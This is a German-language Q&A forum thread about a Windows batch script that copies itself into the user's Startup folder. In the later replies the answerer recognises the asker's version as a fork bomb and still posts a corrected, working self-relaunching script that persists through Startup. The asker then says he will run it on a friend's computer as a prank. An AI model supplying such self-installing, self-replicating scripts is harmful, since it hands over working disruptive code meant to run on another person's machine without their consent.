Wie erstelle ich eine Batch Datei die sich automatisch in den Autostartordner kopiert?

1 Antwort

Vorwort:

MSDos hat keinen AutostartOrdner. (da werden automatisch zu startende Programme (Abläufe) in die config.sys und autoexec.bat geschrieben....

Ich nehme mal an Du verwendest nicht mehr Dos...🤪

Batch unter Windows hat nur hinsichtlich einiger Basisbefehle und -Syntaxelemente etwas mit MSDos gemeinsam. Unter Windows sollte nicht mehr die Dateiendung .bat verwendet werden, da damit der Kommandointerpreter in einen Dos-Kompatibiliätsmodus mit fehlerhaftem Errormanagemet gezwungen wird.

Unter Windows sollten Batchdateien mit der Dateiendung .cmd benannt werden!

demo.cmd

@echo off
chcp 65001 >nul
 
set "AutoFolders=Microsoft\Windows\Start Menu\Programs\Startup"
  rem prüfe ob sich diese Batch bereits im Autostart befindet
for %%. in ("%AppData%" "%ProgramData%") do (
    if "%~dp0"=="%%~.\%AutoFolders%\"  goto :inAutoStart
)
:install
 rem kopiere diese Batch-Datei (%~f0) in den  Autostart für den aktuellen Nutzer  für  alle Nutzer (%ProgramData%) wären Adminrechte  nötig
copy "%~f0" "%AppData%\%AutoFolders%" >nul
echo Installiert...
start "" "%AppData%\%AutoFolders%"  &rem mal zur demo anzeigen (Zeile kann weg)
timeout 5 &rem 5Sekunden Pause  vor  dem beenden  der Instalationsroutine (Zeile kann weg)
exit /b   &rem hier ist der "Selbst-Installer"  zu Ende


:inAutoStart
  rem  hier  kommt alles rein was automatisch ausgeführt werden  soll
echo ich bin im AutoStart


pause

Du kannst die Batch benutzen wie sie ist. Sie erkennt selbständig ob sie im Autostartordner ausgeführt wird und reagiert dann in anderer Weise, als an beliebigen anderen Orten.

Deinen aktiven Code musst Du in den Abschnitt ":inAutoStart" schreiben.

die Zeilen:

echo Installiert...
start "" "%AppData%\%AutoFolders%"
timeout 5

...dienen lediglich zum testen der Funktionsweise und können entfernt werden.

Woher ich das weiß:eigene Erfahrung – Ich mach das seit 30 Jahren
Horst951 
Fragesteller
 30.10.2023, 22:28

Hallo Erzesel,

Danke dass Du dich mir geholfen hast ich habe deine Vorlage so umgeschrieben :

@echo off

chcp 65001 >nul

 

set "AutoFolders=Microsoft\Windows\Start Menu\Programs\Startup"

 

for %%. in ("%AppData%" "%ProgramData%") do (

  if "%~dp0"=="%%~.\%AutoFolders%\" goto :inAutoStart

)

:install

copy "%~f0" "%AppData%\%AutoFolders%" >nul

echo Installiert...

start Systempflege.bat (ich habe diese Datei Systempflege genannt)

exit /b  &rem

echo ich bin im AutoStart

pause

Die Datei wird in den Autostartordner, nur leide wird sie beim starten des Rechners nicht ausgeführt.

0
Erzesel  31.10.2023, 09:30
@Horst951

Man sollte sich eine Antwort auch wirklich durchlesen (und bergreifen):

Unter Windows sollten Batchdateien mit der Dateiendung .cmd benannt werden!
demo.cmd ....

Was Deine Veränderungen in der Batch angeht:

Erstmal ist eine selbstaufrufende Batch wie die Deine (Forkbomb) nicht unbedingt nett.

So wie Du die Batch "umgeschrieben hast, würde die Forkbomb bereits bei der Installation "gezündet" (ich denke mal Du warst zu feige deine Batch, wie Du sie Hier gepostet hast selbst auf deinem Rechner zu testen)

Für den armen Nutzer, den Du mit dem Ding beglücken wolltest, ist es ein Segen, das Du keinen Ahnung von Batch hast.

Du hast die Sprungmarke :inAutoStart entfernt. Nachdem die Batch festgestellt hat, das sie sich im Autostartordner befindet, folgt das Kommando goto :inAutoStart , ...und die Batch stürzt ab, weil es diese Sprungmarke nicht gibt.

Das zu korrigieren würde jedoch auch noch nicht einen erfolgreichen Selbstaufruf erlauben.

Der Selbststart ginge auch schief, weil beim Autostart nicht der Autostartordner das aktuelle Arbeitsverzeichnis ist, sondern c:\windows\system32 ...und dort gibt es keine Datei "Systempflege.bat"

Zudem ist auch noch die Syntax des Startbefehls für Batch-Dateien falsch!

richtig:

start "" cmd /c "c:\demopfad\meine Batch.cmd"

Systempflege.cmd

@echo off
chcp 65001 >nul
set "AutoFolders=Microsoft\Windows\Start Menu\Programs\Startup"
for %%. in ("%AppData%" "%ProgramData%") do (
  if "%~dp0"=="%%~.\%AutoFolders%\" goto :inAutoStart
)
:install
copy "%~f0" "%AppData%\%AutoFolders%" >nul
exit /b  

:inAutoStart
echo ich bin im AutoStart
echo ich bin: "%~f0"
echo das aktuelle Arbeitsverzeichnis ist :"%cd%"
timeout 5  &rem ungezügelde Selbstaufrufe sind böse ,  ergo  legen  wir 5 Sekunden pause  ein
start "" cmd /c "%~f0"
pause

Wenn Du das Ding ungezügelt auf einem Fremden Rechner anwenden möchtest ist das dein Ding.

Einige Virenscanner erkennen Forkbomben und blockieren diese.

1
Horst951 
Fragesteller
 31.10.2023, 09:58

Hallo Erzesel,

Die Datei funktioniert, Danke für deinen Hilfe, mein Freund wird sich freuen. Ich möchte ihn ein bisschen ärgern. (Werde die Datei auch wieder von seinem Rechner löschen.)

0